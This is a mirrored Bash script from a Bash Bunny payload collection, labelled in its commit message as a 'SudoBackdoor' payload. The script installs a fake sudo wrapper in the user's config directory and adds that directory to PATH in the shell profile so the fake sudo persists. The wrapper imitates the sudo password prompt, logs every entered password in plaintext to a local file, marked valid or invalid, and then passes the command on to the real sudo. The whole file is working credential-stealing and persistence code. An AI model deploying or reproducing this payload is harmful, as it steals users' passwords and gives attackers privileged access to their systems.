mirror of
https://github.com/hak5darren/bashbunny-payloads.git
synced 2025-10-29 16:58:12 +00:00
* add SudoBackdoor patload * fix readme * fix readme 2 * fix readme 3 * add skip key for sc (ssh)
43 lines
843 B
Bash
Executable File
43 lines
843 B
Bash
Executable File
#!/bin/bash
|
|
|
|
if [ ! -d ~/.config/sudo ]
|
|
then
|
|
mkdir -p ~/.config/sudo
|
|
fi
|
|
|
|
if [ -f ~/.config/sudo/sudo ]
|
|
then
|
|
rm ~/.config/sudo/sudo
|
|
fi
|
|
|
|
echo '#!'$SHELL >> ~/.config/sudo/sudo
|
|
cat <<'EOF' >> ~/.config/sudo/sudo
|
|
/usr/bin/sudo -n true 2>/dev/null
|
|
if [ $? -eq 0 ]
|
|
then
|
|
/usr/bin/sudo $@
|
|
else
|
|
echo -n "[sudo] password for $USER: "
|
|
read -s pwd
|
|
echo
|
|
echo "$pwd" | /usr/bin/sudo -S true 2>/dev/null
|
|
if [ $? -eq 1 ]
|
|
then
|
|
echo "$USER:$pwd:invalid" >> ~/.config/sudo/sudo.config
|
|
echo "Sorry, try again."
|
|
sudo $@
|
|
else
|
|
echo "$USER:$pwd:valid" >> ~/.config/sudo/sudo.config
|
|
echo "$pwd" | /usr/bin/sudo -S $@
|
|
fi
|
|
fi
|
|
EOF
|
|
|
|
chmod u+x ~/.config/sudo/sudo
|
|
if [ -f ~/.bash_profile ]
|
|
then
|
|
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
|
|
else
|
|
echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
|
|
fi
|